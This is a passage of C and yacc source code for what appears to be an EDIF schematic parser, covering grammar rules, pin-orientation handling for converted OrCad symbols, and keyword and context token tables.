if(bug>4)fprintf(Error," _Sym KeywD '%s'\n", $2->s); } | _Symbol ParamDisp { if(bug>4)fprintf(Error," _Sym ParamDisp \n");} | _Symbol Property { if(bug>4)fprintf(Error," _Sym Property '%s'='%s'\n", $2->s, $2->nxt->s); if( !strcmp($2->s, "PIN_NAMES_VISIBLE") && !strcmp($2->nxt->s,"False")) LibEntry->DrawPinName = 0; if( !strcmp($2->s, "PIN_NUMBERS_VISIBLE")) LibEntry->DrawPinNum = !strcmp($2->nxt->s,"False"); } | _Symbol Comment { $$=$2; if(bug>4)fprintf(Error," _Sym Comment \n");} | _Symbol UserData ; Symmetry : SYMMETRY _Symmetry PopC ; _Symmetry : | _Symmetry Transform ; Table : TABLE _Table PopC ; _Table : | _Table Entry | _Table TableDeflt ; TableDeflt : TABLEDEFAULT __TableDeflt _TableDeflt PopC ; __TableDeflt : LogicRef | PortRef | NoChange | Table ; _TableDeflt : | Delay | LoadDelay ; Technology : TECHNOLOGY _Technology PopC ; _Technology : NumberDefn | _Technology FigGrp | _Technology Fabricate | _Technology SimulInfo | _Technology DesignRule | _Technology Comment | _Technology UserData ; TextHeight : TEXTHEIGHT Int PopC {$$=$2; TextSize = $2 ; if(bug>4)fprintf(Error," TextHeight %d\n", $2); } ; TimeIntval : TIMEINTERVAL __TimeIntval _TimeIntval PopC ; __TimeIntval : Event | OffsetEvent ; _TimeIntval : Event | OffsetEvent | Duration ; TimeStamp : TIMESTAMP Int Int Int Int Int Int PopC ; Timing : TIMING _Timing PopC ; _Timing : Derivation | _Timing PathDelay | _Timing Forbidden | _Timing Comment | _Timing UserData ; Transform : TRANSFORM _TransX _TransY _TransDelta _TransOrien _TransOrg PopC { $$->n=$5; $$->p=$6; INew = New; // Instance position if(bug>4)fprintf(Error," Transform: %c %d %d\n", $5, $6->x, $6->y); tx=$6->x; ty=$6->y; } ; _TransX : | ScaleX ; _TransY : | ScaleY ; _TransDelta : | Delta ; _TransOrien : {$$=PIN_N;} | Orientation ; _TransOrg : {$$=NULL;} | Origin ; Transition : TRANSITION _Transition _Transition PopC ; _Transition : LogicNameRef | LogicList | LogicOneOf ; Trigger : TRIGGER _Trigger PopC ; _Trigger : | _Trigger Change | _Trigger Steady | _Trigger Initial ; True : TRUE PopC {$$=1;} ; TypedValue : Boolean | Integer | MiNoMa | Number | Point {$<pl>$ = $1;} | String ; Unconstrained : UNCONSTRAINED PopC ; Undefined : UNDEFINED PopC ; Union : UNION _Union PopC ; _Union : FigGrpRef | FigureOp | _Union FigGrpRef | _Union FigureOp ; Unit : UNIT _Unit PopC ; _Unit : DISTANCE | CAPACITANCE | CURRENT | RESISTANCE | TEMPERATURE | TIME | VOLTAGE | MASS | FREQUENCY | INDUCTANCE | ENERGY | POWER | CHARGE | CONDUCTANCE | FLUX | ANGLE ; Unused : UNUSED PopC ; UserData : USERDATA _UserData PopC ; _UserData : Ident | _UserData Int | _UserData Str | _UserData Ident | _UserData Form ; ValueNameDef : NameDef | Array ; ValueNameRef : NameRef { $$=$1;if(bug>5)fprintf(Error," ValueNameRef: %s\n", $1->s);} | Member ; Version : VERSION Str PopC ; ViewNameDef : NameDef {$$=$1; if(bug>3)fprintf(Error," ViewNameDef: '%s'\n", $1->s); if( strcmp( $1->s, "CONVERT")==0 | strcmp( $1->s, "Convert")==0 ) convert=2; if( strcmp( $1->s, "NORMAL")==0 | strcmp( $1->s, "Normal")==0 ) convert=1; } ; View : VIEW ViewNameDef ViewType _View PopC {$$=$2; if(bug>2){ if($4 == NULL) fprintf(Error," VIEW: %s \n", $2->s); else fprintf(Error," VIEW: %s %s\n", $2->s, $4->s); } if( $4 != NULL ) $$->nxt = $4; } ; _View : Interface { if(bug>2)fprintf(Error," _view Interface: \n");} | _View Status | _View Contents {$$=$2; if( $2 != NULL ){ if(bug>2)fprintf(Error," _view Contents: '%s'\n", $2->s); if( strstr($2->s, "PAGEBORDER") !=NULL || strstr($2->s, "TITLEBLOCK") !=NULL ) { strcpy(refdesg, LibEntry->Prefix); sprintf(LibEntry->Prefix, "#%s", refdesg); if(bug>2)fprintf(Error," PAGEBORDER [%d %d][%d %d]\n",$2->p->x, $2->p->y, $2->p->nxt->x, $2->p->nxt->y ); LibEntry->BBoxMinX = $2->p->x *1; LibEntry->BBoxMinY = $2->p->y *1; LibEntry->BBoxMaxX = $2->p->nxt->x *1; LibEntry->BBoxMaxY = $2->p->nxt->y *1; } if( strstr($2->s, "POWER") !=NULL ) strcpy(LibEntry->Prefix, "#PWR"); LibEntry->DrawPrefix = 1; // LibEntry->DrawName = 0; } } | _View Comment | _View Property {$$=$2; if(bug>2)fprintf(Error," _view Property: '%s'\n", $2->s);} | _View UserData ; ViewList : VIEWLIST _ViewList PopC {$$=$2;} ; _ViewList : {$$=NULL;} | _ViewList ViewRef {$$=$2;} | _ViewList ViewList {$$=$2;} ; ViewMap : VIEWMAP _ViewMap PopC ; _ViewMap : | _ViewMap PortMap | _ViewMap PortBackAn | _ViewMap InstMap | _ViewMap InstBackAn | _ViewMap NetMap | _ViewMap NetBackAn | _ViewMap Comment | _ViewMap UserData ; ViewNameRef : NameRef {if(bug>2)fprintf(Error," ViewNameRef: %s\n", $1->s); } ; ViewRef : VIEWREF ViewNameRef _ViewRef PopC { $$=$2; if(bug>2 )fprintf(Error," VIEWREF ViewNameRef '%s' ",$2->s); if(bug>2 && $3->s!=NULL)fprintf(Error,"_ViewRef: '%s' \n", $3->s); iptr = (struct inst *)Malloc(sizeof (struct inst)); iptr->nxt = insts; insts = iptr; } ; _ViewRef : {$$=NULL;} | CellRef ; ViewType : VIEWTYPE _ViewType PopC {$$=NULL; if(bug>4)fprintf(Error," ViewType: \n"); } ; _ViewType : MASKLAYOUT | PCBLAYOUT | NETLIST | SCHEMATIC | SYMBOLIC | BEHAVIOR | LOGICMODEL | DOCUMENT | GRAPHIC | STRANGER ; Visible : VISIBLE BooleanValue PopC {$$=$2;} ; VoltageMap : VOLTAGEMAP MiNoMaValue PopC ; WaveValue : WAVEVALUE LogicNameDef ScaledInt LogicWave PopC ; Weak : WEAK LogicNameRef PopC ; WeakJoined : WEAKJOINED _WeakJoined PopC ; _WeakJoined : | _WeakJoined PortRef | _WeakJoined PortList | _WeakJoined Joined ; When : WHEN _When PopC ; _When : Trigger | _When After | _When Follow | _When Maintain | _When LogicAssn | _When Comment | _When UserData ; Written : WRITTEN _Written PopC ; _Written : TimeStamp | _Written Author | _Written Program | _Written DataOrigin | _Written Property | _Written Comment | _Written UserData ; Name : NAME _Name PopC {char *s=$2->s; $$=$2; if(bug>4){ fprintf(Error,"%5d NAME _Name %s ", LineNumber, s); // if( $2->nxt != NULL)fprintf(Error,"%s ", $2->nxt->s); // if( $2->p != NULL)fprintf(Error,"(%d,%d)", $2->p->x, $2->p->y); fprintf(Error,"\n"); } } ; _Name : Ident { if(bug>4)fprintf(Error,"%5d _Name Ident '%s'\n", LineNumber, $1->s); } | _Name Display { $$=$1; $$->p = $2->p; $$->nxt=$2; if(bug>4 && $2->p == NULL)fprintf(Error,"%5d _Name Display '%s'\n", LineNumber, $1->s); if(bug>4 && $2->p != NULL)fprintf(Error,"%5d _Name Display '%s' (%d,%d)\n", LineNumber, $1->s, $2->p->x, $2->p->y); if($2->p != NULL){ if( !SchHead && !InInstance){ // search for an ReName s = $1->s; for( LEptr=CurrentLib->Entries, stop=0 ; LEptr != NULL && !stop ; LEptr=LEptr->nxt ) for( LDptr=LEptr->Drawings ; LDptr != NULL && !stop ; LDptr=LDptr->nxt ){ if( LDptr->DrawType != PIN_DRAW_TYPE) continue; if(bug>3)fprintf(Error," _Name Check '%s' '%s' %s\n", s, LDptr->U.Pin.Name, LDptr->U.Pin.ReName); if( !strcmp(s, LDptr->U.Pin.Name )){ if( LDptr->U.Pin.ReName != NULL ) s = LDptr->U.Pin.ReName; else s = LDptr->U.Pin.Name; stop=1; } } // Global Label or Normal if(inst_pin_num_vis==1 || inst_pin_name_vis==1){ if( $1->nxt != NULL && !strcmp($1->nxt->s, "OFFPAGECONNECTOR")) { OutText(1, s, $2->p->x +ox, -$2->p->y +oy, TextSize); } else { OutText(0, s, $2->p->x +ox, -$2->p->y +oy, TextSize); } } // TextSize=SIZE_PIN_TEXT; ox=oy=0; } } } ; Ident : IDENT {$$=$1; if(bug>5)fprintf(Error,"%5d ID: '%s'\n", LineNumber, $1->s); $1->nxt=NULL; } ; Str : STR { if(bug>5)fprintf(Error,"%5d STR: '%s'\n", LineNumber, $1->s); } ; Int : INT {sscanf($1->s,"%d",&num); $$=num; } ; Keyword : KEYWORD ; %% // // figure out Pin Orientation // add Power Pin hotspot mentioned in Instance // doPin() { int fcr=0; if(bug>2) { fprintf(Error,"doPin: "); if(libRef !=NULL)fprintf(Error,"libRef '%s'\n", libRef); if(cellRef !=NULL)fprintf(Error," cellRef '%s'", cellRef); if(cur_pnam !=NULL)fprintf(Error," cur_pnam '%s'", cur_pnam); fprintf(Error," txy:(%d,%d) pxy:(%d,%d)",tx,ty, px,py); if(pl !=NULL)fprintf(Error," pl:(%d,%d)", pl->x, pl->y); if(pl!=NULL && pl->nxt!=NULL)fprintf(Error," plnxt:(%d,%d)", pl->nxt->x, pl->nxt->y); fprintf(Error,"\n"); } if( cur_pnam == NULL ) return; else { if( cellRef == NULL ) { // existing Pin for cellDef for( LDptr=New ; LDptr != NULL ; LDptr=LDptr->nxt ) { // find Pin if( LDptr->DrawType != PIN_DRAW_TYPE) continue; if(bug>6)fprintf(Error," Check '%s' %s %s\n", cur_pnam, LDptr->U.Pin.Name, LDptr->U.Pin.ReName); if( !strcmp(LDptr->U.Pin.Name, cur_pnam) ) break; } if( LDptr != NULL) { if(bug>2)fprintf(Error," cur_pnam:%s LDptr:%s pxy:(%d,%d) txy:(%d,%d)\n\n ", cur_pnam,LDptr->U.Pin.Name, px,py, tx,ty); LDptr->U.Pin.posX = px; LDptr->U.Pin.posY = py; // compute pin Orientation if( pl != NULL && pl->nxt != NULL ){ if( pl->x == pl->nxt->x ) { LDptr->U.Pin.Len = abs(pl->y - pl->nxt->y)*(int)scale; if( pl->y < pl->nxt->y ) LDptr->U.Pin.Orient = PIN_DOWN; else LDptr->U.Pin.Orient = PIN_UP; } if( pl->y == pl->nxt->y ) { LDptr->U.Pin.Len = abs(pl->x - pl->nxt->x)*(int)scale; if( pl->x < pl->nxt->x ) LDptr->U.Pin.Orient = PIN_LEFT; else LDptr->U.Pin.Orient = PIN_RIGHT; } } } } else { // find cellRef for( fcr=0, LSptr=Libs ; LSptr != NULL ; LSptr=LSptr->nxt ) { if(fcr) break; for( LEptr=LSptr->Entries ; LEptr != NULL ; LEptr=LEptr->nxt ) { if( cellRef != NULL ) { fcr = (strcmp(LEptr->Name, cellRef) == 0); if(fcr) break; } } } // find pin in cellRef if(fcr) // if cellRef exists for( LDptr=LEptr->Drawings ; LDptr != NULL ; LDptr=LDptr->nxt ) { if( LDptr->DrawType != PIN_DRAW_TYPE ) continue; if(bug>4)fprintf(Error," _Name Check '%s' '%s'\n", LDptr->U.Pin.Name, cellRef); if( !strcmp(LDptr->U.Pin.Name, cellRef) ) break; } if( fcr && LDptr == NULL ){ // new (Power) Pin if it doesn't already exist if(bug>2)fprintf(Error," new Power Pin:%s pxy:(%d,%d) txy:(%d,%d)\n\n",cur_pnam, px,py, tx,ty); // OrCad 10 puts HOTSPOTS in Instance, S/B pin posX in Cell definition New = (LibraryDrawEntryStruct *) Malloc(sizeof(LibraryDrawEntryStruct)); New->DrawType = PIN_DRAW_TYPE; New->Convert = convert; New->nxt = LEptr->Drawings; LEptr->Drawings = New; New->Unit = unit; New->U.Pin.posX = px-tx; New->U.Pin.posY = py-ty; New->U.Pin.Len = 300; New->U.Pin.PinShape = NONE; // NONE, DOT, CLOCK, SHORT New->U.Pin.PinType = PIN_POWER; New->U.Pin.Orient = PIN_UP; New->U.Pin.Flags = 0; /* Pin Visible */ New->U.Pin.SizeNum = TextSize; New->U.Pin.SizeName = TextSize; New->U.Pin.Name = strdup(cur_pnam); New->U.Pin.ReName = New->U.Pin.Name; strcpy(New->U.Pin.Num, "99"); } } } } /* * Token & context carriers: * * These are the linkage pointers for threading this context garbage * for converting identifiers into parser tokens. */ typedef struct TokenCar { struct TokenCar *Next; /* pointer to next carrier */ struct Token *Token; /* associated token */ } TokenCar; typedef struct UsedCar { struct UsedCar *Next; /* pointer to next carrier */ short Code; /* used '%token' value */ } UsedCar; typedef struct ContextCar { struct ContextCar *Next; /* pointer to next carrier */ struct Context *Context; /* associated context */ union { int Single; /* single usage flag (context tree) */ struct UsedCar *Used; /* single used list (context stack) */ } u; } ContextCar; /* * Parser state variables. */ extern char *InFile; /* file name on the input stream */ static ContextCar *CSP = NULL; /* top of context stack */ static char yytext[IDENT_LENGTH + 1]; /* token buffer */ static char CharBuf[IDENT_LENGTH + 1]; /* garbage buffer */ /* * Token definitions: * * This associates the '%token' codings with strings which are to * be free standing tokens. Doesn't have to be in sorted order but the * strings must be in lower case. */ typedef struct Token { char *Name; /* token name */ int Code; /* '%token' value */ struct Token *Next; /* hash table linkage */ } Token; static Token TokenDef[] = { {"angle", ANGLE}, {"behavior", BEHAVIOR}, {"calculated", CALCULATED}, {"capacitance", CAPACITANCE}, {"centercenter", CENTERCENTER}, {"centerleft", CENTERLEFT}, {"centerright", CENTERRIGHT}, {"charge", CHARGE}, {"conductance", CONDUCTANCE}, {"current", CURRENT}, {"distance", DISTANCE}, {"document", DOCUMENT}, {"energy", ENERGY}, {"extend", EXTEND}, {"flux", FLUX}, {"frequency", FREQUENCY}, {"generic", GENERIC}, {"graphic", GRAPHIC}, {"inductance", INDUCTANCE}, {"inout", INOUT}, {"input", INPUT}, {"logicmodel", LOGICMODEL}, {"lowercenter", LOWERCENTER}, {"lowerleft", LOWERLEFT}, {"lowerright", LOWERRIGHT}, {"masklayout", MASKLAYOUT}, {"mass", MASS}, {"measured", MEASURED}, {"mx", MX}, {"mxr90", MXR90}, {"my", MY}, {"myr90", MYR90}, {"netlist", NETLIST}, {"output", OUTPUT}, {"pcblayout", PCBLAYOUT}, {"power", POWER}, {"r0", R0}, {"r180", R180}, {"r270", R270}, {"r90", R90}, {"required", REQUIRED}, {"resistance", RESISTANCE}, {"ripper", RIPPER}, {"round", ROUND}, {"schematic", SCHEMATIC}, {"stranger", STRANGER}, {"symbolic", SYMBOLIC}, {"temperature", TEMPERATURE}, {"tie", TIE}, {"time", TIME}, {"truncate", TRUNCATE}, {"uppercenter", UPPERCENTER}, {"upperleft", UPPERLEFT}, {"upperright", UPPERRIGHT}, {"voltage", VOLTAGE} }; static int TokenDefSize = sizeof(TokenDef) / sizeof(Token); /* * Token enable definitions: * * There is one array for each set of tokens enabled by a * particular context (barf). Another array is used to bind * these arrays to a context. */ static short e_CellType[] = {TIE,RIPPER,GENERIC}; static short e_CornerType[] = {EXTEND,TRUNCATE,ROUND}; static short e_Derivation[] = {CALCULATED,MEASURED,REQUIRED}; static short e_Direction[] = {INPUT,OUTPUT,INOUT}; static short e_EndType[] = {EXTEND,TRUNCATE,ROUND}; static short e_Justify[] = { CENTERCENTER,CENTERLEFT,CENTERRIGHT,LOWERCENTER,LOWERLEFT,LOWERRIGHT, UPPERCENTER,UPPERLEFT,UPPERRIGHT }; static short e_Orientation[] = {R0,R90,R180,R270,MX,MY,MXR90,MYR90}; static short e_Unit[] = { DISTANCE,CAPACITANCE,CURRENT,RESISTANCE,TEMPERATURE,TIME,VOLTAGE,MASS, FREQUENCY,INDUCTANCE,ENERGY,POWER,CHARGE,CONDUCTANCE,FLUX,ANGLE }; static short e_ViewType[] = { MASKLAYOUT,PCBLAYOUT,NETLIST,SCHEMATIC,SYMBOLIC,BEHAVIOR,LOGICMODEL, DOCUMENT,GRAPHIC,STRANGER }; /* * Token tying table: * * This binds enabled tokens to a context. */ typedef struct Tie { short *Enable; /* pointer to enable array */ short Origin; /* '%token' value of context */ short EnableSize; /* size of enabled array */ } Tie; #define TE(e,o) {e,o,sizeof(e)/sizeof(short)} static Tie TieDef[] = { TE(e_CellType, CELLTYPE), TE(e_CornerType, CORNERTYPE), TE(e_Derivation, DERIVATION), TE(e_Direction, DIRECTION), TE(e_EndType, ENDTYPE), TE(e_Justify, JUSTIFY), TE(e_Orientation, ORIENTATION), TE(e_Unit, UNIT), TE(e_ViewType, VIEWTYPE) }; static int TieDefSize = sizeof(TieDef) / sizeof(Tie); /* * Context definitions: * * This associates keyword strings with '%token' values. It * also creates a pretty much empty header for later building of * the context tree. Again they needn't be sorted, but strings * must be lower case. */ typedef struct Context { char *Name; /* keyword name */ short Code; /* '%token' value */ short Flags; /* special operation flags */ struct ContextCar *Context; /* contexts which can be moved to */ struct TokenCar *Token; /* active tokens */ struct Context *Next; /* hash table linkage */ } Context; static Context ContextDef[] = { {"", 0}, /* start context */ {"acload", ACLOAD}, {"after", AFTER}, {"annotate", ANNOTATE}, {"apply", APPLY}, {"arc", ARC}, {"array", ARRAY}, {"arraymacro", ARRAYMACRO}, {"arrayrelatedinfo", ARRAYRELATEDINFO}, {"arraysite", ARRAYSITE}, {"atleast", ATLEAST}, {"atmost", ATMOST}, {"author", AUTHOR}, {"basearray", BASEARRAY}, {"becomes", BECOMES}, {"between", BETWEEN}, {"boolean", BOOLEAN}, {"booleandisplay", BOOLEANDISPLAY}, {"booleanmap", BOOLEANMAP}, {"borderpattern", BORDERPATTERN}, {"borderwidth", BORDERWIDTH}, {"boundingbox", BOUNDINGBOX}, {"cell", CELL}, {"cellref", CELLREF}, {"celltype", CELLTYPE}, {"change", CHANGE}, {"circle", CIRCLE}, {"color", COLOR}, {"comment", COMMENT}, {"commentgraphics", COMMENTGRAPHICS}, {"compound", COMPOUND}, {"connectlocation", CONNECTLOCATION}, {"contents", CONTENTS}, {"cornertype", CORNERTYPE}, {"criticality", CRITICALITY}, {"currentmap", CURRENTMAP}, {"curve", CURVE}, {"cycle", CYCLE}, {"dataorigin", DATAORIGIN}, {"dcfaninload", DCFANINLOAD}, {"dcfanoutload", DCFANOUTLOAD}, {"dcmaxfanin", DCMAXFANIN}, {"dcmaxfanout", DCMAXFANOUT}, {"delay", DELAY}, {"delta", DELTA}, {"derivation", DERIVATION}, {"design", DESIGN}, {"designator", DESIGNATOR}, {"difference", DIFFERENCE}, {"direction", DIRECTION}, {"display", DISPLAY}, {"dominates", DOMINATES}, {"dot", DOT}, {"duration", DURATION}, {"e", E}, {"edif", EDIF}, {"ediflevel", EDIFLEVEL}, {"edifversion", EDIFVERSION}, {"enclosuredistance", ENCLOSUREDISTANCE}, {"endtype", ENDTYPE}, {"entry", ENTRY}, {"exactly", EXACTLY}, {"external", EXTERNAL}, {"fabricate", FABRICATE}, {"false", FALSE}, {"figure", FIGURE}, {"figurearea", FIGUREAREA}, {"figuregroup", FIGUREGROUP}, {"figuregroupobject", FIGUREGROUPOBJECT}, {"figuregroupoverride",FIGUREGROUPOVERRIDE}, {"figuregroupref", FIGUREGROUPREF}, {"figureperimeter", FIGUREPERIMETER}, {"figurewidth", FIGUREWIDTH}, {"fillpattern", FILLPATTERN}, {"follow", FOLLOW}, {"forbiddenevent", FORBIDDENEVENT}, {"globalportref", GLOBALPORTREF}, {"greaterthan", GREATERTHAN}, {"gridmap", GRIDMAP}, {"ignore", IGNORE}, {"includefiguregroup",INCLUDEFIGUREGROUP}, {"initial", INITIAL}, {"instance", INSTANCE}, {"instancebackannotate", INSTANCEBACKANNOTATE}, {"instancegroup", INSTANCEGROUP}, {"instancemap", INSTANCEMAP}, {"instanceref", INSTANCEREF}, {"integer", INTEGER}, {"integerdisplay", INTEGERDISPLAY}, {"interface", INTERFACE}, {"interfiguregroupspacing", INTERFIGUREGROUPSPACING}, {"intersection", INTERSECTION}, {"intrafiguregroupspacing", INTRAFIGUREGROUPSPACING}, {"inverse", INVERSE}, {"isolated", ISOLATED}, {"joined", JOINED}, {"justify", JUSTIFY}, {"keyworddisplay", KEYWORDDISPLAY}, {"keywordlevel", KEYWORDLEVEL}, {"keywordmap", KEYWORDMAP}, {"lessthan", LESSTHAN}, {"library", LIBRARY}, {"libraryref", LIBRARYREF}, {"listofnets", LISTOFNETS}, {"listofports", LISTOFPORTS}, {"loaddelay", LOADDELAY}, {"logicassign", LOGICASSIGN}, {"logicinput", LOGICINPUT}, {"logiclist", LOGICLIST}, {"logicmapinput", LOGICMAPINPUT}, {"logicmapoutput", LOGICMAPOUTPUT}, {"logiconeof", LOGICONEOF}, {"logicoutput", LOGICOUTPUT}, {"logicport", LOGICPORT}, {"logicref", LOGICREF}, {"logicvalue", LOGICVALUE}, {"logicwaveform", LOGICWAVEFORM}, {"maintain", MAINTAIN}, {"match", MATCH}, {"member", MEMBER}, {"minomax", MINOMAX}, {"minomaxdisplay", MINOMAXDISPLAY}, {"mnm", MNM}, {"multiplevalueset", MULTIPLEVALUESET}, {"mustjoin", MUSTJOIN}, {"name", NAME}, {"net", NET}, {"netbackannotate", NETBACKANNOTATE}, {"netbundle", NETBUNDLE}, {"netdelay", NETDELAY}, {"netgroup", NETGROUP}, {"netmap", NETMAP}, {"netref", NETREF}, {"nochange", NOCHANGE}, {"nonpermutable", NONPERMUTABLE}, {"notallowed", NOTALLOWED}, {"notchspacing", NOTCHSPACING}, {"number", NUMBER}, {"numberdefinition", NUMBERDEFINITION}, {"numberdisplay", NUMBERDISPLAY}, {"offpageconnector", OFFPAGECONNECTOR}, {"offsetevent", OFFSETEVENT}, {"openshape", OPENSHAPE}, {"orientation", ORIENTATION}, {"origin", ORIGIN}, {"overhangdistance", OVERHANGDISTANCE}, {"overlapdistance", OVERLAPDISTANCE}, {"oversize", OVERSIZE}, {"owner", OWNER}, {"page", PAGE}, {"pagesize", PAGESIZE}, {"parameter", PARAMETER}, {"parameterassign", PARAMETERASSIGN}, {"parameterdisplay", PARAMETERDISPLAY}, {"path", PATH}, {"pathdelay", PATHDELAY}, {"pathwidth", PATHWIDTH}, {"permutable", PERMUTABLE}, {"physicaldesignrule",PHYSICALDESIGNRULE}, {"plug", PLUG}, {"point", POINT}, {"pointdisplay", POINTDISPLAY}, {"pointlist", POINTLIST}, {"polygon", POLYGON}, {"port", PORT}, {"portbackannotate", PORTBACKANNOTATE}, {"portbundle", PORTBUNDLE}, {"portdelay", PORTDELAY}, {"portgroup", PORTGROUP}, {"portimplementation",PORTIMPLEMENTATION}, {"portinstance", PORTINSTANCE}, {"portlist", PORTLIST}, {"portlistalias", PORTLISTALIAS}, {"portmap", PORTMAP}, {"portref", PORTREF}, {"program", PROGRAM}, {"property", PROPERTY}, {"propertydisplay", PROPERTYDISPLAY}, {"protectionframe", PROTECTIONFRAME}, {"pt", PT}, {"rangevector", RANGEVECTOR}, {"rectangle", RECTANGLE}, {"rectanglesize", RECTANGLESIZE}, {"rename", RENAME}, {"resolves", RESOLVES}, {"scale", SCALE}, {"scalex", SCALEX}, {"scaley", SCALEY}, {"section", SECTION}, {"shape", SHAPE}, {"simulate", SIMULATE}, {"simulationinfo", SIMULATIONINFO}, {"singlevalueset", SINGLEVALUESET}, {"site", SITE}, {"socket", SOCKET}, {"socketset", SOCKETSET}, {"status", STATUS}, {"steady", STEADY}, {"string", STRING}, {"stringdisplay", STRINGDISPLAY}, {"strong", STRONG}, {"symbol", SYMBOL}, {"symmetry", SYMMETRY}, {"table", TABLE}, {"tabledefault", TABLEDEFAULT}, {"technology", TECHNOLOGY}, {"textheight", TEXTHEIGHT}, {"timeinterval", TIMEINTERVAL}, {"timestamp", TIMESTAMP}, {"timing", TIMING}, {"transform", TRANSFORM}, {"transition", TRANSITION}, {"trigger", TRIGGER}, {"true", TRUE}, {"unconstrained", UNCONSTRAINED}, {"undefined", UNDEFINED}, {"union", UNION}, {"unit", UNIT}, {"unused", UNUSED}, {"userdata", USERDATA}, {"version", VERSION}, {"view", VIEW}, {"viewlist", VIEWLIST}, {"viewmap", VIEWMAP}, {"viewref", VIEWREF}, {"viewtype", VIEWTYPE}, {"visible", VISIBLE}, {"voltagemap", VOLTAGEMAP}, {"wavevalue", WAVEVALUE}, {"weak", WEAK}, {"weakjoined", WEAKJOINED}, {"when", WHEN}, {"written", WRITTEN} }; static int ContextDefSize = sizeof(ContextDef) / sizeof(Context); /* * Context follower tables: * * This is pretty ugly, an array is defined for each context * which has following context levels. Yet another table is used * to bind these arrays to the originating contexts. * Arrays are declared as: * * static short f_<Context name>[] = { ... }; * * The array entries are the '%token' values for all keywords which * can be reached from the <Context name> context. Like I said, ugly, * but it works. * A negative entry means that the follow can only occur once within * the specified context. */ static short f_NULL[] = {EDIF}; static short f_Edif[] = { NAME,RENAME,EDIFVERSION,EDIFLEVEL,KEYWORDMAP,-STATUS,EXTERNAL,LIBRARY, DESIGN,COMMENT,USERDATA }; static short f_AcLoad[] = {MNM,E,MINOMAXDISPLAY}; static short f_After[] = {MNM,E,FOLLOW,MAINTAIN,LOGICASSIGN,COMMENT,USERDATA}; static short f_Annotate[] = {STRINGDISPLAY}; static short f_Apply[] = {CYCLE,LOGICINPUT,LOGICOUTPUT,COMMENT,USERDATA}; static short f_Arc[] = {PT}; static short f_Array[] = {NAME,RENAME}; static short f_ArrayMacro[] = {PLUG}; static short f_ArrayRelatedInfo[] = { BASEARRAY,ARRAYSITE,ARRAYMACRO,COMMENT,USERDATA }; static short f_ArraySite[] = {SOCKET}; static short f_AtLeast[] = {E}; static short f_AtMost[] = {E}; static short f_Becomes[] = {NAME,LOGICLIST,LOGICONEOF}; static short f_Between[] = {ATLEAST,GREATERTHAN,ATMOST,LESSTHAN}; static short f_Boolean[] = {FALSE,TRUE,BOOLEANDISPLAY,BOOLEAN}; static short f_BooleanDisplay[] = {FALSE,TRUE,DISPLAY}; static short f_BooleanMap[] = {FALSE,TRUE}; static short f_BorderPattern[] = {BOOLEAN}; static short f_BoundingBox[] = {RECTANGLE}; static short f_Cell[] = { NAME,RENAME,CELLTYPE,-STATUS,-VIEWMAP,VIEW,COMMENT,USERDATA,PROPERTY }; static short f_CellRef[] = {NAME,LIBRARYREF}; static short f_Change[] = {NAME,PORTREF,PORTLIST,BECOMES,TRANSITION}; static short f_Circle[] = {PT,PROPERTY}; static short f_Color[] = {E}; static short f_CommentGraphics[] = { ANNOTATE,FIGURE,INSTANCE,-BOUNDINGBOX,PROPERTY,COMMENT,USERDATA }; static short f_Compound[] = {NAME}; static short f_ConnectLocation[] = {FIGURE}; static short f_Contents[] = { INSTANCE,OFFPAGECONNECTOR,FIGURE,SECTION,NET,NETBUNDLE,PAGE, COMMENTGRAPHICS,PORTIMPLEMENTATION,TIMING,SIMULATE,WHEN,FOLLOW, LOGICPORT,-BOUNDINGBOX,COMMENT,USERDATA }; static short f_Criticality[] = {INTEGERDISPLAY}; static short f_CurrentMap[] = {MNM,E}; static short f_Curve[] = {ARC,PT}; static short f_Cycle[] = {DURATION}; static short f_DataOrigin[] = {VERSION}; static short f_DcFanInLoad[] = {E,NUMBERDISPLAY}; static short f_DcFanOutLoad[] = {E,NUMBERDISPLAY}; static short f_DcMaxFanIn[] = {E,NUMBERDISPLAY}; static short f_DcMaxFanOut[] = {E,NUMBERDISPLAY}; static short f_Delay[] = {MNM,E}; static short f_Delta[] = {PT}; static short f_Design[] = { NAME,RENAME,CELLREF,STATUS,COMMENT,PROPERTY,USERDATA }; static short f_Designator[] = {STRINGDISPLAY}; static short f_Difference[] = { FIGUREGROUPREF,INTERSECTION,UNION,DIFFERENCE,INVERSE,OVERSIZE }; static short f_Display[] = { NAME,FIGUREGROUPOVERRIDE,JUSTIFY,ORIENTATION,ORIGIN }; static short f_Dominates[] = {NAME}; static short f_Dot[] = {PT,PROPERTY}; static short f_Duration[] = {E}; static short f_EnclosureDistance[] = { NAME,RENAME,FIGUREGROUPOBJECT,LESSTHAN,GREATERTHAN,ATMOST,ATLEAST, EXACTLY,BETWEEN,SINGLEVALUESET,COMMENT,USERDATA }; static short f_Entry[] = { MATCH,CHANGE,STEADY,LOGICREF,PORTREF,NOCHANGE,TABLE,DELAY,LOADDELAY }; static short f_Exactly[] = {E}; static short f_External[] = { NAME,RENAME,EDIFLEVEL,TECHNOLOGY,-STATUS,CELL,COMMENT,USERDATA }; static short f_Fabricate[] = {NAME,RENAME}; static short f_Figure[] = { NAME,FIGUREGROUPOVERRIDE,CIRCLE,DOT,OPENSHAPE,PATH,POLYGON,RECTANGLE, SHAPE,COMMENT,USERDATA }; static short f_FigureArea[] = { NAME,RENAME,FIGUREGROUPOBJECT,LESSTHAN,GREATERTHAN,ATMOST,ATLEAST, EXACTLY,BETWEEN,SINGLEVALUESET,COMMENT,USERDATA }; static short f_FigureGroup[] = { NAME,RENAME,-CORNERTYPE,-ENDTYPE,-PATHWIDTH,-BORDERWIDTH,-COLOR, -FILLPATTERN,-BORDERPATTERN,-TEXTHEIGHT,-VISIBLE,INCLUDEFIGUREGROUP, COMMENT,PROPERTY,USERDATA }; static short f_FigureGroupObject[] = { NAME,FIGUREGROUPOBJECT,INTERSECTION,UNION,DIFFERENCE,INVERSE,OVERSIZE }; static short f_FigureGroupOverride[] = { NAME,-CORNERTYPE,-ENDTYPE,-PATHWIDTH,-BORDERWIDTH,-COLOR,-FILLPATTERN, -TEXTHEIGHT,-BORDERPATTERN,VISIBLE,COMMENT,PROPERTY,USERDATA }; static short f_FigureGroupRef[] = {NAME,LIBRARYREF}; static short f_FigurePerimeter[] = { NAME,RENAME,FIGUREGROUPOBJECT,LESSTHAN,GREATERTHAN,ATMOST,ATLEAST,EXACTLY, BETWEEN,SINGLEVALUESET,COMMENT,USERDATA }; static short f_FigureWidth[] = { NAME,RENAME,FIGUREGROUPOBJECT,LESSTHAN,GREATERTHAN,ATMOST,ATLEAST,EXACTLY, 